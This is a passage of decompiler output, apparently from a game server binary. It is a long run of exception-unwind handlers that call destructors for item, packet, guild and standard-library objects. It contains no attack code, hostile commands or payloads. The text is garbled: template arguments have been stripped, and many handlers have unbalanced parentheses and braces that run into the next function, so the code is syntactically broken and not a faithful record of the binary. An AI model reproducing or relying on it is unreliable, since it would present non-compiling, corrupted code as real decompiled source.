AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (006252B8) -------------------------------------------------------- void __usercall _L191265(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 72)); } //----- (006252D8) -------------------------------------------------------- void __usercall _L191530(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListNearGateFind::_AxialListNearGateFind(*(AxialListNearGateFind **)(a1 - 16)); } //----- (00625320) -------------------------------------------------------- void __usercall _L191960_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 104)); } //----- (00625328) -------------------------------------------------------- void __usercall _L191961_0(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { AxialListAreaObjectList::_AxialListAreaObjectList((AxialListAreaObjectList *)(a1 - 84)); } //----- (00625338) -------------------------------------------------------- void __usercall _L191963_0(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (00625358) -------------------------------------------------------- void __usercall _L192203_0(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (00625378) -------------------------------------------------------- void __usercall _L192837(int a1) { AxialListObjectCollect::_AxialListObjectCollect((AxialListObjectCollect *)(a1 - 140)); } //----- (00625383) -------------------------------------------------------- void __usercall _L192838(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 88)); } //----- (006253A8) -------------------------------------------------------- void __usercall _L194082(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 84)); } //----- (006253B0) -------------------------------------------------------- void __usercall _L194083(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 84)); } //----- (006253B8) -------------------------------------------------------- void __usercall _L194084(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 84)); } //----- (006253D0) -------------------------------------------------------- void __usercall _L194160(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006253F0) -------------------------------------------------------- void __usercall _L71751(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 105116)); } //----- (00625410) -------------------------------------------------------- void __usercall _L74080(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00625430) -------------------------------------------------------- void __usercall _L75198(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 332)); } //----- (0062543B) -------------------------------------------------------- void __usercall _L75199(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 304)); } //----- (00625450) -------------------------------------------------------- void __usercall _L182540(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625458) -------------------------------------------------------- void __usercall _L182541_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625470) -------------------------------------------------------- void __usercall _L171312(int a1) { _eh_vector_destructor_iterator_( (void *)(a1 - 2016), 0x14u, 100, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00625490) -------------------------------------------------------- void __usercall _L173224(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 26), 0x14u, 20, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (006254C0) -------------------------------------------------------- void __usercall _L173659(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006254E0) -------------------------------------------------------- void __usercall _L174215(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { operator delete__(*(void **)(a1 - 40)); } //----- (0062550B) -------------------------------------------------------- void __usercall _L174530(int a1) { operator delete__(*(void **)(a1 - 28)); } //----- (00625520) -------------------------------------------------------- void __usercall _L181116_0(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625540) -------------------------------------------------------- void __usercall _L181323(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00625560) -------------------------------------------------------- void __usercall _L181457(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 80)); } //----- (00625580) -------------------------------------------------------- void __usercall _L181962(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006255A0) -------------------------------------------------------- void __usercall _L182015(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 20)); } //----- (006255C0) -------------------------------------------------------- void __usercall _L182251(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006255E0) -------------------------------------------------------- void __usercall _L182308(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625600) -------------------------------------------------------- void __usercall _L181481(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00625620) -------------------------------------------------------- void __usercall _L182271(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 116)); } //----- (00625640) -------------------------------------------------------- void __usercall _L182355(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 148)); } //----- (00625660) -------------------------------------------------------- void __usercall _L182493(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625668) -------------------------------------------------------- void __usercall _L182494(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00625680) -------------------------------------------------------- void __usercall _L183411(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (006256A0) -------------------------------------------------------- void __usercall _L183571(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006256C0) -------------------------------------------------------- void __usercall _L181375(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (006256E0) -------------------------------------------------------- void __usercall _L179901(int a1) { CGambleObject::_CGambleObject(*(CGambleObject **)(a1 - 16)); } //----- (00625700) -------------------------------------------------------- void __usercall _L181625(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00625720) -------------------------------------------------------- void __usercall _L182213(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (0062572B) -------------------------------------------------------- void __usercall _L182214(int a1) { GppPacketSaver::_GppPacketSaver((GppPacketSaver *)(a1 - 8208)); } //----- (00625736) -------------------------------------------------------- void __usercall _L182215(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 8224)); } //----- (00625750) -------------------------------------------------------- void __usercall _L182273(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (0062575B) -------------------------------------------------------- void __usercall _L182274_0(int a1) { GppPacketSaver::_GppPacketSaver((GppPacketSaver *)(a1 - 8208)); } //----- (00625770) -------------------------------------------------------- void __usercall _L182385(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 8212)); } //----- (0062577B) -------------------------------------------------------- void __usercall _L182387(int a1) { GppPacketSaver::_GppPacketSaver((GppPacketSaver *)(a1 - 8208)); } //----- (00625786) -------------------------------------------------------- void __usercall _L182386(int a1) { GppPacketSaver::_GppPacketSaver((GppPacketSaver *)(a1 - 8208)); } //----- (006257A0) -------------------------------------------------------- void __usercall _L189208(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 52)); } //----- (006257C0) -------------------------------------------------------- void __usercall _L189389(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 68)); } //----- (006257E0) -------------------------------------------------------- void __usercall _L189563(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 64)); } //----- (00625800) -------------------------------------------------------- void __usercall _L195433(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00625890) -------------------------------------------------------- void __usercall _L201476(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { _eh_vector_destructor_iterator_( (void *)(*(_DWORD *)(a1 - 16) + 16), 0x10u, 9, (void (__thiscall *)(void *))std::vector>::_vector>); } //----- (006258AE) -------------------------------------------------------- void __usercall _L201478(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 36)); } //----- (006258F8) -------------------------------------------------------- unsigned int __cdecl _L202772() { unsigned int result; // eax@1 result = _S12_8 & 0xFFFFFFFE; _S12_8 &= 0xFFFFFFFEu; return result; } //----- (00625910) -------------------------------------------------------- void __usercall _L203100(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 84)); } //----- (00625918) -------------------------------------------------------- void __usercall _L203101(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 180)); } //----- (00625930) -------------------------------------------------------- void __usercall _L203960(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (0062593B) -------------------------------------------------------- void __usercall _L203961(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (00625946) -------------------------------------------------------- void __usercall _L203962(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 148)); } //----- (00625951) -------------------------------------------------------- void __usercall _L203963(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 80)); } //----- (00625970) -------------------------------------------------------- void __usercall _L204439(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 88)); } //----- (00625990) -------------------------------------------------------- void __usercall _L204507(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 40)); } //----- (006259D0) -------------------------------------------------------- void __usercall _L205333(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 9220)); } //----- (006259DB) -------------------------------------------------------- void __usercall _L205334(int a1) { GppPacketSaver::_GppPacketSaver((GppPacketSaver *)(a1 - 8208)); } //----- (006259E6) -------------------------------------------------------- void __usercall _L205335(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 9104)); } //----- (00625A00) -------------------------------------------------------- void __usercall _L205479(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0xCu, 9, (void (__thiscall *)(void *))std::set_std::allocator>::_set_std::allocator>); } //----- (00625A13) -------------------------------------------------------- void __usercall _L205480(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00625A80) -------------------------------------------------------- void __usercall _L206547(int a1) { SHND::CommonData::_CommonData((ItemRandomOption::OptionTable *)(a1 + 8)); } //----- (00625AA0) -------------------------------------------------------- void __usercall _L206809(int a1) { KQContribute::KQContributeList::_KQContributeList((KQContribute::KQContributeList *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00625AC0) -------------------------------------------------------- void __usercall _L207143(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00625AE0) -------------------------------------------------------- void __usercall _L77495(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00625B00) -------------------------------------------------------- void __usercall _L78485(int a1) { operator delete(*(void **)(a1 - 288)); } //----- (00625B20) -------------------------------------------------------- void __usercall _L6340(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 20), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00625B40) -------------------------------------------------------- void __usercall _L6359(int a1) { _eh_vector_destructor_iterator_( *(void **)(a1 - 16), 0x8008u, 101, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (00625B60) -------------------------------------------------------- void __usercall _L110170(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00625B68) -------------------------------------------------------- void __usercall _L110171(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 452)); } //----- (00625B76) -------------------------------------------------------- void __usercall _L110172(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 744)); } //----- (00625B84) -------------------------------------------------------- void __usercall _L110173(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 876)); } //----- (00625BA0) -------------------------------------------------------- void __usercall _L110275(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00625BC0) -------------------------------------------------------- void __usercall _L110296(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 92)); } //----- (00625BE0) -------------------------------------------------------- void __usercall _L111591(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(a1 - 88)); } //----- (00625C00) -------------------------------------------------------- void __usercall _L111628(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (00625C0B) -------------------------------------------------------- void __usercall _L111629(int a1) { ItemDataBox::__unnamed::___unnamed((BinaryData *)(*(_DWORD *)(a1 - 16) + 1036)); } //----- (00625C30) -------------------------------------------------------- void __usercall _L112334(int a1) { ItemSmallBag::_ItemSmallBag(*(ItemSmallBag **)(a1 - 16)); } //----- (00625C50) -------------------------------------------------------- void __usercall _L112348(int a1) { ItemBag::_ItemBag(*(ItemBag **)(a1 - 16)); } //----- (00625C70) -------------------------------------------------------- void __usercall _L112363(int a1) { ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)(a1 - 28)); } //----- (00625C90) -------------------------------------------------------- void __usercall _L73011(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00625C98) -------------------------------------------------------- void __usercall _L73012(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (00625CA6) -------------------------------------------------------- void __usercall _L73013(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 392)); } //----- (00625CB4) -------------------------------------------------------- void __usercall _L73014(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 608)); } //----- (00625CC2) -------------------------------------------------------- void __usercall _L73015(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 804)); } //----- (00625CD0) -------------------------------------------------------- void __usercall _L73016(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 1032)); } //----- (00625CDE) -------------------------------------------------------- void __usercall _L73017(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 1100)); } //----- (00625CEC) -------------------------------------------------------- void __usercall _L73018(int a1) { BinaryDataBox::_BinaryDataBox((MobResistTable *)(*(_DWORD *)(a1 - 16) + 1164)); } //----- (00625D10) -------------------------------------------------------- void __usercall _L73073(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (00625D30) -------------------------------------------------------- void __usercall _L73443(int a1) { MobDataBox::__unnamed::___unnamed(*(BinaryData **)(a1 - 16)); } //----- (00625D38) -------------------------------------------------------- void __usercall _L73444(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 1340)); } //----- (00625D50) -------------------------------------------------------- void __usercall _L12159(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut(*(DiceTaiSaiDividind **)(a1 - 16)); } //----- (00625D58) -------------------------------------------------------- void __usercall _L12160(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00625D63) -------------------------------------------------------- void __usercall _L12161(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (00625D6E) -------------------------------------------------------- void __usercall _L12162(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (00625D79) -------------------------------------------------------- void __usercall _L12163(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 117)); } //----- (00625D90) -------------------------------------------------------- void __usercall _L12486(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00625D9B) -------------------------------------------------------- void __usercall _L12487(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 2072)); } //----- (00625DA9) -------------------------------------------------------- void __usercall _L12488(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 2080)); } //----- (00625DD0) -------------------------------------------------------- void __usercall _L12883(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00625DF0) -------------------------------------------------------- void __usercall _L12909(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00625E10) -------------------------------------------------------- void __usercall _L13695(int a1) { ORColumnHeaderList::_ORColumnHeaderList((ORColumnHeaderList *)(*(_DWORD *)(a1 - 20) + 24)); } //----- (00625E1B) -------------------------------------------------------- void __usercall _L13707(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00625E26) -------------------------------------------------------- void __usercall _L13696(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 20) + 2072)); } //----- (00625E40) -------------------------------------------------------- void __usercall _L13728(int a1) { TokenArgument::_TokenArgument(*(TokenArgument **)(a1 - 16)); } //----- (00625E48) -------------------------------------------------------- void __usercall _L13729(int a1) { List::_List((List *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (00625E60) -------------------------------------------------------- void __usercall _L13869(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 4128)); } //----- (00625E80) -------------------------------------------------------- void __usercall _L13219(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (00625EA0) -------------------------------------------------------- void __usercall _L13361(int a1) { operator delete(*(void **)(a1 - 48)); } //----- (00625EAB) -------------------------------------------------------- void __usercall _L13362(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (00625EC0) -------------------------------------------------------- void __usercall _L13418(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00625EE0) -------------------------------------------------------- void __usercall _L13446(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 48)); } //----- (00625F00) -------------------------------------------------------- void __usercall _L13563(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00625F20) -------------------------------------------------------- void __usercall _L13601(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 52)); } //----- (00625F40) -------------------------------------------------------- void __usercall _L14287(int a1) { operator delete__(*(void **)(a1 + 4)); } //----- (00625F60) -------------------------------------------------------- void __usercall _L14323(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 24)); } //----- (00625F80) -------------------------------------------------------- void __usercall _L14492(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 44)); } //----- (00625FA0) -------------------------------------------------------- void __usercall _L70375(int a1) { BTree::_BTree(*(BTree **)(a1 - 16)); } //----- (00625FC0) -------------------------------------------------------- void __usercall _L70410(int a1) { OptionReader::_OptionReader((OptionReader *)(a1 - 67684)); } //----- (00625FE0) -------------------------------------------------------- void __usercall _L2061(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00626000) -------------------------------------------------------- void __usercall _L2137(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00626020) -------------------------------------------------------- void __usercall _L2187_0(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (00626028) -------------------------------------------------------- void __usercall _L2188(int a1) { ListArray::_ListArray((ListArray *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (00626040) -------------------------------------------------------- void __usercall _L62633(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (00626060) -------------------------------------------------------- void __usercall _L69882(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00626080) -------------------------------------------------------- void __usercall _L70441(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (006260A0) -------------------------------------------------------- void __usercall _L71267(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (006260C0) -------------------------------------------------------- void __usercall _L71749(int a1) { std::locale::_locale((std::locale *)(a1 + 12)); } //----- (006260E0) -------------------------------------------------------- void __usercall _L74051(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00626100) -------------------------------------------------------- void __usercall _L77195(int a1) { std::basic_streambuf>::_basic_streambuf>(*(std::basic_streambuf > **)(a1 - 16)); } //----- (00626120) -------------------------------------------------------- void __usercall _L67650(int a1) { CToken::_CToken(*(CToken **)(a1 - 16)); } //----- (00626140) -------------------------------------------------------- void __usercall _L67665(int a1) { CToken::_CToken(*(CToken **)(a1 - 1288)); } //----- (00626160) -------------------------------------------------------- void __usercall _L67682(int a1) { CCsl::_CCsl((CCsl *)(a1 - 3096)); } //----- (00626180) -------------------------------------------------------- void __usercall _L65658(int a1) { String::_String((String *)(a1 + 36)); } //----- (00626188) -------------------------------------------------------- void __usercall _L65659(int a1) { String::_String((String *)(a1 + 20)); } //----- (00626190) -------------------------------------------------------- void __usercall _L65660(int a1) { String::_String((String *)(a1 + 4)); } //----- (006261B0) -------------------------------------------------------- void __usercall _L65792(int a1) { String::_String((String *)(a1 + 4)); } //----- (006261D0) -------------------------------------------------------- void __usercall _L61521(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (006261F0) -------------------------------------------------------- void __usercall _L61555(int a1) { BinaryDataBox::_BinaryDataBox(*(MobResistTable **)(a1 - 16)); } //----- (006261F8) -------------------------------------------------------- void __usercall _L61556(int a1) { BTree::_BTree((BTree *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (00626210) -------------------------------------------------------- void __usercall _L56672(int a1) { CGdp::_CGdp(*(CGdp **)(a1 - 16)); } //----- (00626230) -------------------------------------------------------- void __usercall _L75460(int a1) { std::codecvt_base::_codecvt_base(*(std::num_get > > **)(a1 - 132)); } //----- (00626270) -------------------------------------------------------- void __usercall _L76300(int a1) { operator delete(*(void **)(a1 + 4)); } //----- (00626290) -------------------------------------------------------- void __usercall _L76369(int a1) { std::basic_ostream>::_Sentry_base::__Sentry_base(*(std::basic_istream >::sentry **)(a1 - 16)); } //----- (006262B0) -------------------------------------------------------- void __usercall _L76704(int a1) { std::_Lockit::__Lockit((std::_Lockit *)(a1 - 28)); } //----- (006262D0) -------------------------------------------------------- void __usercall _L77354(int a1) { std::locale::_locale((std::locale *)(a1 - 80)); } //----- (006262D8) -------------------------------------------------------- void __usercall _L77355(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 76)); } //----- (006262E0) -------------------------------------------------------- void __usercall _L77356(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (006262E8) -------------------------------------------------------- void __usercall _L77357(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 48)); } //----- (006262F0) -------------------------------------------------------- void __usercall _L77358(int a1) { std::locale::_locale((std::locale *)(a1 - 92)); } //----- (00626310) -------------------------------------------------------- void __usercall _L78876(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00626330) -------------------------------------------------------- void __usercall _L80356(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 44)); } //----- (00626338) -------------------------------------------------------- void __usercall _L80357(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 72)); } //----- (00626350) -------------------------------------------------------- void __usercall _L80052(int a1) { std::locale::_locale((std::locale *)(a1 - 52)); } //----- (00626370) -------------------------------------------------------- void __usercall _L80309(int a1) { std::locale::_locale((std::locale *)(a1 - 80)); } //----- (00626390) -------------------------------------------------------- void __usercall _L81393(int a1) { std::locale::_locale((std::locale *)(a1 - 88)); } //----- (006263B0) -------------------------------------------------------- void __usercall _L81442(int a1) { std::locale::_locale((std::locale *)(a1 - 60)); } //----- (006263D0) -------------------------------------------------------- void __usercall _L66135(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 92)); } //----- (006263D8) -------------------------------------------------------- void __usercall _L66136(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 120)); } //----- (006263F0) -------------------------------------------------------- void __usercall _L66631(int a1) { CMD5Checksum::_CMD5Checksum((CMD5Checksum *)(a1 - 108)); } //----- (00626410) -------------------------------------------------------- void __usercall _L84670(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00626450) -------------------------------------------------------- void __usercall _L87255(int a1) { std::list_std::allocator>>::_list_std::allocator>>((std::list,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00626470) -------------------------------------------------------- void __usercall _L90136(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (00626490) -------------------------------------------------------- void __usercall _L90836(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (0062649B) -------------------------------------------------------- void __usercall _L90837(int a1) { stdext::hash_multimap>_std::allocator>>::_hash_multimap>_std::allocator>>((stdext::hash_multimap >,std::allocator > > *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (006264B0) -------------------------------------------------------- void __usercall _L92855(int a1) { CToken::_CToken((CToken *)(*(_DWORD *)(a1 - 16) + 1340)); } //----- (00626530) -------------------------------------------------------- void __usercall _L105491(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 + 8)); } //----- (00626550) -------------------------------------------------------- void __usercall _L105723(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 68)); } //----- (00626558) -------------------------------------------------------- void __usercall _L105724(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 40)); } //----- (00626590) -------------------------------------------------------- void __usercall _L106952(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (006265B0) -------------------------------------------------------- void __usercall _L106775(int a1) { if ( *(_DWORD *)(a1 - 20) & 1 ) { *(_DWORD *)(a1 - 20) &= 0xFFFFFFFEu; std::basic_ios>::_basic_ios>((std::basic_ios > *)(*(_DWORD *)(a1 - 16) + 100)); } } //----- (006265CC) -------------------------------------------------------- void __usercall _L106777(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (006265F0) -------------------------------------------------------- void __usercall _L106900(int a1) { std::basic_istream>::_basic_istream>((std::basic_istream > *)(*(_DWORD *)(a1 - 16) - 92)); } //----- (00626610) -------------------------------------------------------- void __usercall 